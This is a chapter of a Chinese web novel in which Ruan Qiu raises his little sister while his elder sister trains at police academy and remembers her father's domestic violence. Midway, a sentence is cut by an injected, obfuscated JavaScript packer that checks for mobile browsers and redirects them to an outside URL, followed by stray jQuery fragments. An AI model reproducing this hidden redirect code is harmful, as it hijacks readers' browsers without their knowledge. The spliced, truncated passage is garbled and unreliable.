80. 阮秋
作品:《拨云不见日[九零]》 时间已经过去了一个月又四天。
这个数字是阮秋清晨醒来时,淼淼在早餐桌上无意间提起的——她用勺子敲着碗边,小声嘟囔:“姐姐怎么还不回来?”
阮秋没有回答。他从炖锅里舀出最后一勺白粥,盛在自己碗里时才发现粥已经见底。他用筷子搅了搅,拌上榨菜,边吃边翻开一本复习资料。
淼淼没再吵,只是捧着碗,目光偶尔偷偷瞥向墙上那块表。那表还在走,滴滴答答地,把家里安静的气氛拉得更长。
窗外的蝉声密集,阳光透过窗帘在地板上撒了几片斑驳的影子。空气里飘着细微的灰尘,慢慢游荡,像是忘记了该去往哪里。
阮云琛离开家的那天,阮秋一直觉得,有些东西一起被带走了。
她的背包很轻,手里抓着的那张车票皱巴巴的,但却在家门口留下了几分隐形的重量,直到现在,他还没学会如何轻松地去面对。
这些日子里,阮秋的生活变得比以前忙碌了许多。
早晨是定好的闹钟把他唤醒,他从床边捞起衣服穿上,悄无声息地下床,生怕吵醒睡在另一间房的淼淼。
等厨房里的水壶发出尖锐的鸣叫声,淼淼才会揉着眼睛从房间探头出来,嘴里还含糊地喊:“哥,我还要睡五分钟。”
送她去学校后,他的日程会被时间表塞得满满当当——两小时的图书馆自习,半小时的练习卷解题,接着就是拳馆的训练或者兼职,直到日落的光线变得昏黄,他才拖着一身汗回到家。
门总是很安静地开着,等他推开时,看到的永远是一片空荡的房间。
拳馆里的拳套依旧挂在架子上,他总会在收拾器材时下意识地看一眼,但那双红色的拳套,却再也没有了熟悉的重量。
阮秋并没有多想,只是将那份若有似无的失落藏在指尖的动作里,整理好器材后便默默关灯离开。
跳级的申请通过了,校方发来了通知,下学期开学,他将直接进入高中的课堂。
这是他很久以来的目标,可当目标终于实现时,阮秋却没有感到想象中的轻松。
书桌上摊开的课本成了日复一日的陪伴,但某些时刻,他还是会无意间转头看向挂在墙上的倒计时表格。那是阮云琛离家前最后一次动手贴的,红圈划得整齐,却没来得及全部填满。
每到这个时候,他总会停下手里的笔,看着那一排整齐的红圈发呆。
心里的某个地方,总会涌起一些无处可放的情绪,像是想念,又像是别的什么。
阮秋没有把自己的情绪告诉任何人,包括淼淼。
他习惯将一切都藏在日常的缝隙里,比如准备晚饭时顺手擦过灶台的动作,比如听淼淼在餐桌上抱怨作业太多时点头的表情,比如每次离开拳馆前多留几分钟,看一眼换衣柜里的那双拳击鞋。
淼淼总是会在晚上早早地睡着。
她的房间贴满了五颜六色的画,整面墙都快装不下了。那些画从天花板一直铺到踢脚线,有的纸角翘起了,仿佛要飞起来似的。
阮秋站在门口,看着淼淼蜷在被子里的一小团,抬手轻轻将门关上。
日子过得太平静,就会变得有些枯燥,甚至会让人连醒来之后都有一种莫名的心不在焉感。
阮秋每天都会检查报箱,拿着那一大叠报纸传单,一张一张翻,生怕漏了什么,比如水电缴费单,比如......阮云琛的信。
可那封信还是被淼淼给先发现了。
淼淼难得起了个大早,一醒来就冲去了信箱,跟和阮秋赛跑似的抱着一打报纸奔了回来,接着有样学样地一张张翻,
忽地,有张薄薄的信封掉了出来。
阮淼淼夸张地“呀”了声,举着信跳了起来:“是姐姐寄来的!”
阮秋接过来,看到信封上简洁的字迹,眼角的线条缓缓舒展开了些。他把信递回去:“那你先读。”
淼淼趴在沙发上,小心翼翼地撕开信封,拿出信纸时,里面还夹着一张风景明信片。她看了一眼,转手递给阮秋:“给你的。”
阮秋低头看了看,那是一张田家庄市的风景图,上面画着一片竹林。
他的目光在明信片的背面停了停,看到阮云琛的字:“训练紧,没时间写太多,别总让淼淼撒娇。照顾好自己。”
信纸上内容不多,甚至可以说简短。阮云琛的笔迹很稳,和她说话的语气一样,字里行间没有半点多余的温情。
她提到警校生活很忙碌,偶尔会提到同学们的趣事,还有食堂的饭菜怎么样。
淼淼念到最后,忽然停住了:“咦,姐姐怎么没写她想不想家?”
阮秋把明信片放在桌上,抽出信纸翻看了一眼,没有接话。
想不想家?
这种问题,阮云琛不会说。
阮秋也不会问。
可他——
他和淼淼,都想她了。
隔壁单元的谢胖子说他也是。
阮秋忍不住翻了他一个大白眼。
“你跟我姐又没什么太多交情,你想她做什么?”
胖子言之凿凿:“我们好歹也是互相都送你妹妹上过学的交情,再不济咱俩家也是邻居,怎么就不能意思意思想一下了?”
吃人手软拿人嘴短,别说是拿人的了,单是胖子每个周末都顺路送淼淼上补习班这件事,就能让阮秋一瞬间哑口无言。
胖子蹲在巷子口嘿嘿一笑,吹了吹三轮车上摆的一票假花,又整了整头顶撑着的那把掉了漆的遮阳伞。他嘴里叼着根牙签,手里还转着个记账本,打算开始盘算今天的收成。
“食品生意不好做,”胖子自顾自地嘀咕了一句,像是看穿了阮秋的疑惑,“八宝粥这东西,味道再好,也经不住人说你‘偷工减料’。隔壁的小孩吃了两口拉肚子,他妈一口咬定是我的问题,天天跑市场监督局投诉。”
他说着摆了摆手,露出一脸“懒得计较”的表情:“换了卖假花,这总没什么油烟吧?还能清闲点,省得老跟人掰扯。”
他说话时,手指无意识地转着一朵塑料玫瑰,亮红的花瓣在阳光下反着光,看着不怎么自然。
胖子抬头瞥了阮秋一眼,打趣道:“送花给姑娘吗?今天买一送一,算你便宜点。”
阮秋没理会他的调侃,只是看着那些塑料花发了会儿呆,随后摇了摇头。
胖子觉得没趣,上下打量了一番阮秋,嫌弃道:“你都没个喜欢的姑娘吗?”
阮秋被他看得不耐烦,又起了一股无名火,直往脑门顶上蹿:“跟你有什么关系。”
“那送给喜欢你的也行啊。”谢胖子一点儿也不气馁,“你这么牛,又聪明,又拿奖学金,还跳级,长得又高,还帅,跟你差不多年纪的小丫头,那不得情书递疯了啊。”
阮秋想起自己书包里隔三差五就出现的粉色信件,和学校里时而不时地就飘过来的目光,更加烦躁:“你能少说两句吗?”
胖子也没被他惹恼,只瞪着眼珠子往他口袋里瞧,仿佛能瞧出朵花儿来:“那你没有想追的姑娘,天天带着根头皮筋干什么?给谁的?”
阮秋一愣,瞧见那根粉黄的头绳露了半截在外面,不知怎么的,脸上就是一阵烧,烧得那股无名怒火更旺了:“你管我。”
他说完,扭头就走了,惹得胖子坐在那破三轮上直发懵:“吃枪子儿了?”
天色渐渐暗了。
在书桌前坐得久了,腰背就都会酸痛。
窗外夜色浓重,路灯的光斑透过窗帘洒在地板上,显得安静而冷清。面前的书本摊得满满当当,课本上画了几道笔记,但阮秋盯着上面的字,眼神却有些发散。
他最近试过在街边找兼职,但多是些搬货、发传单的体力活,要么时间和学业冲突,要么报酬低得离谱。
一天赚不到几块钱,还得咬着牙坚持。
有一回,他在便利店做夜班,回家时已经是凌晨两点。
街道上没什么人,他提着两瓶过期了但还没变质的酸奶,一边喝,一边走,一边走,一边心里难受得紧。
那些单薄的收入,在日复一日的消耗下却显得微不足道。
阮秋知道自己得坚强。
肩膀上的重量并不是让人窒息的感觉。它更像是某种静默的审判,冷冷地悬在心头,让人无处可逃......原来这就是一直以来阮云琛所扛下的东西吗?
夜班后的清晨,他坐在书桌前,手边堆着试卷和备考资料。窗外的阳光很淡,灰蒙蒙的天色像涂抹不匀的水彩画,连空气都透着一股潮湿的倦意。
他看着那些密密麻麻的公式,手指在纸上轻轻敲了两下,心里却翻腾得厉害。
有时候他会在黑暗中坐起来,盯着窗外看上许久。
他一点都不觉得累。
他只是忽然......
忽然意识到了阮云琛到底有多么坚强。
她不是不累。
她是不能觉得累。
她靠着自己瘦弱的肩膀撑起了一片广阔的天,天空之外是刺人的刀子,是遍布的荆棘,可天空之下的淼淼和他,却只能瞧得见那美丽的蓝天白云。
阮秋甚至觉得,自己现在这样的生活根本不算什么——他只不过是承担了阮云琛曾经的一小部分罢了。
这么想着,他的目光不由得落在桌上那封信上。
那是阮云琛寄来的,字迹一如既往地干净利落,寥寥数语,却让他读了一遍又一遍。
说是警校课程很忙,说是体能训练很多,而那其中,还有一个问题——
“家里都好吧?”
好。
当然好。
阮秋想提笔回信,告诉她一切都很好,可那笔却迟迟没有落下。
他不知道该写些什么。
想说家里的日子不难,却又怕她真的信了,以为没有她也可以;想说自己在努力,却又怕显得太矫情。
阮秋低下头,手指在纸边抚了一下,轻轻叹了口气。
他明白,写信不是难事,真正难的,是把心里的话藏起来,让它们变得平淡又普通,像某种机械的安慰。
“姐,我很好,淼淼也很好。”
他在心里默念了一句,像是在练习,又像是在说服自己。
房间里很静。
灯光投下柔和的光晕,把桌上那本打开的习题册染上了一层浅金色。阮秋抬眼看了看那间敞开了门的卧室,看着那墙上挂着的拳套,红色的皮革在灯光下显得格外醒目。
有一瞬间,思念如潮水。
——记得照顾好自己,别老是想着我们。家里没问题,等你回来。
这是阮秋给阮云琛的信件里写的内容。
收到信时,阮云琛刚结束当天的队列训练。她拖着一身的汗回到宿舍,就看到检信员送来的信函。
信封被放在床头,表面有些皱,像是被反复摸过一样。
她一眼就认出了阮秋的字迹。
拆开信封的时候,她的手指下意识地一抖,想看,却又不敢看。
但她也没有手机——廖致远要给她买,但阮云琛坚持不要,反正即使是有手机,警校能够允许使用的时间段也是固定且少的,拿了也是浪费时间。
所以这信倒是成了她与家里交流的唯一方式。
阮云琛犹豫了很久,最后还是给打了开来。
信很短,只有几行字:“姐,家里都挺好的,淼淼最近学会了一首新歌,还画了几幅画。她想挂在你的房间里,可我没答应。
我的话......高二的生活很充实,廖叔叔让我少打工,我就改成了只去周末,胖哥会顺路送淼淼上画画补习班,不用担心。
记得照顾好自己,别老是想着我们。家里没问题,等你回来。”
字迹一如既往的端正,内容一如既往的报喜不报忧。阮云琛看了几遍,心里却没有平静下来。
她坐在床沿,目光落在信纸上,脑子里浮现出阮秋写这封信时的画面。
他应该是坐在书桌前,书桌上摞着几本教科书,那是跳级后新增的课业内容。
他的笔记向来工整,书页边角没有一丝卷曲。淼淼可能就在旁边,铺开她那一套缤纷的彩笔,正兴致勃勃地画着什么,颜色一层层堆叠起来,把整张纸涂得五颜六色。
阮秋会不时抬起头,假装皱眉,说一声:“别弄脏了桌布。”
语气里带着无奈,却并不是真的责备。
这样的画面很平静,很安稳,可正是这份平静,让阮云琛的心隐隐发酸。
阮云琛清楚,这份安稳不是理所当然的。
它是用多少次踉跄和跌倒换来的,是用无数个狼狈不堪的日夜拼凑起来的。
她也明白,阮秋信里的每一句“没问题”,都不过是他用力撑起的体面,用来告诉她“你可以放心”。
可真的能放心吗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15178237|158973||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?
阮云琛抬起手,轻轻按了按额头,仿佛这样能把那些缠绕在脑海里的思绪压下去。
她知道,自己离开后,阮秋背负的东西会比他承认的更多。
他会把责任揽在肩上,像她当初一样,不动声色地咬牙坚持。
他会在淼淼面前扮演一个永远冷静的哥哥,而在夜深人静时,可能会像以前的自己一样,偷偷抹掉那些疲惫和狼狈。
这些念头一层一层堆积起来,像是手指按在未愈的伤口上,钝痛却无法忽视。
阮云琛把信重新折好,手指微微用力,像是在掩饰某种情绪。然后,她缓缓地把信放进枕头下。
宿舍外响起了哨声,尖锐得像一记无声的催促。楼道里的脚步声此起彼伏,其他学员正在赶往晚课的途中。
阮云琛看了眼墙上的时钟,深吸一口气,起身出了门。
大学二年级新增了一门课程,是家庭纠纷调解的模拟演练。
教官分了组,每组负责不同的情景:财产争执、邻里矛盾、家庭暴力。阮云琛被分到了最后一组。
阮云琛收回思绪,指尖轻轻按在桌面的文件夹上,滑过每一行字。面前摆着一份模拟案件的剧本,她需要扮演一名调解员,处理一场因为家庭琐事而引发的纠纷。
“开始。”教官在前方发令,声音低沉而简短。
阮云琛微微颔首,目光迅速扫过对面扮演纠纷家庭的两名学员。她深吸一口气,沉声开口:“先冷静一下,听我说。”
她的语调不急不缓,吐字清晰,像是一道精准的指令。对面的“妻子”正激动地比划着手中的“欠条”,而“丈夫”则不耐烦地冷笑着,似乎随时都会站起来摔门离开。
“你们的争执现在只会让问题更复杂,我需要两位暂时保持安静。”她的目光直视对方,语气里没有丝毫让步的余地,“先告诉我,这笔钱是什么时候欠下的?”
“妻子”愤愤开口:“三个月前,他去赌——”
“丈夫”一拍桌子,打断了她:“别瞎说!”
桌椅微微晃了一下,现场的气氛像一根紧绷的琴弦,稍有不慎便会崩断。阮云琛看了两人一眼,声音更低了一些,但力度没有减:“别急着争辩,先说清楚,具体金额是多少?用在哪里?”
她的冷静让“丈夫”终于沉默了片刻,低声嘟囔:“两千。”
“妻子”冷笑了一声,眼中满是嘲讽:“你怎么不说是赌输了两千!”
“够了。”阮云琛轻轻敲了下桌面,截断了这场唇枪舌剑。她的手指在桌上顿了顿,随后合上文件夹,目光重新回到两人之间。
“你们的情绪可以理解,但现在重要的是解决问题。”她顿了一下,语气微微缓和,“有没有还款的计划?还是说,有其他方式解决?”
场面安静了一瞬,对面的学员互相对视,似乎都在等待对方先开口。
阮云琛的眼神冷静如水,仿佛能穿透这短暂的僵局。但只有她自己知道,心底的那点情绪并没有完全平复。
她的脑海里忽然闪过一个画面——小时候,阮启明的拳头挥在茶几上,玻璃碎了一地,空气中弥漫着白酒刺鼻的气味。她的声音发着颤,求着妈妈快跑。可那个女人只是木然地站在原地,眼神空洞得像一口深井。
现在,这个训练场里的情节不过是纸上谈兵,是剧本设定的模拟。可曾经,她经历过太多不需要剧本就能撕裂人心的场面。
阮云琛闭了闭眼,把画面甩出脑海,重新集中注意力。
教官在旁边观察了一会儿,微微点头,拿起笔在评估表上写了些什么。而阮云琛的手指依然搭在桌面上,静静等待这场演练的结束。
阮云琛知道她完成得一丝不苟。
可那种挥之不去的情绪,就像训练场角落里悬挂的国旗,在无风的时刻,也会在阳光下轻轻晃动,几乎无法察觉,却始终在那里。
桌上白纸黑字,模拟纠纷的剧本写得条理分明,甚至连争执的时间、地点都列得一清二楚。
两名学员的情绪也被训练得恰到好处,一个愤怒,一个防备,像是两根随时会绷断的弦,却又精准地卡在了不失控的范围里。
阮云琛盯着那份剧本,手指在文件夹的边角轻轻摩挲了一下。她脑海里闪过的第一个念头,不是这场演练该怎么操作,而是:原来这种场景,是会在警校里模拟的啊。
她的目光扫过对面那两个“夫妻”,那些愤怒与委屈,指责与争吵,全都写在纸上,分门别类地被归档成了“可控情绪”。
每一个动作、每一句台词,都像是被设定好的程序,甚至连最终的调解结果也被标注在了旁边的脚注里。
可为什么呢?
为什么这些被用作训练的纠纷,在真正的生活里,却从没有人去执行解决?
她的视线不自觉地停在了文件夹的某一行字上:调解员的任务是以冷静态度化解冲突,最大程度维护家庭和睦。
“家庭和睦”这四个字安安静静地躺在那里,苍白得有些滑稽。
她忍不住想起小时候,那个凌晨,她跑到派出所的时候,手里拽着一片被打烂的碗沿,尖锐的边角已经割破了手指。她一边哭,一边喊着“妈妈快被爸爸打死了”。
可当时,那个值班的警察只是低头喝了一口水,冷淡地吐出一句:“家务事我们不管。”
——家务事。
阮云琛微微吸了口气,把那些回忆压下去,指尖不易察觉地紧了紧。她不需要再记起太多细节,她只知道,后来她妈妈没死,但也差点死了;而那个家庭,早就在无数个这样的夜晚里,一点点瓦解成了没有人想要看一眼的废墟。
可现在,坐在这个训练室里,剧本上的文字却显得光鲜又公式化,像是在为现实贴上一层几乎透明的伪装。
阮云琛抬眼看向对面那两个学员,耳边是他们精准却有些虚假的争吵。没有真正的情绪,没有血肉的痛感,只是一场演习,一场没有任何风险的预设场景。
她的声音平稳而冷静:“不要争了,继续说。”
阮云琛说这句话的时候,连自己都觉得讽刺。
为什么呢......?
为什么世界上仍旧会存在这样的事情呢?
这个问题没有答案。
她找不到答案。
这种虚无缥缈的东西,就跟为什么命运总喜欢玩弄放松警惕的人一样,难以捉摸。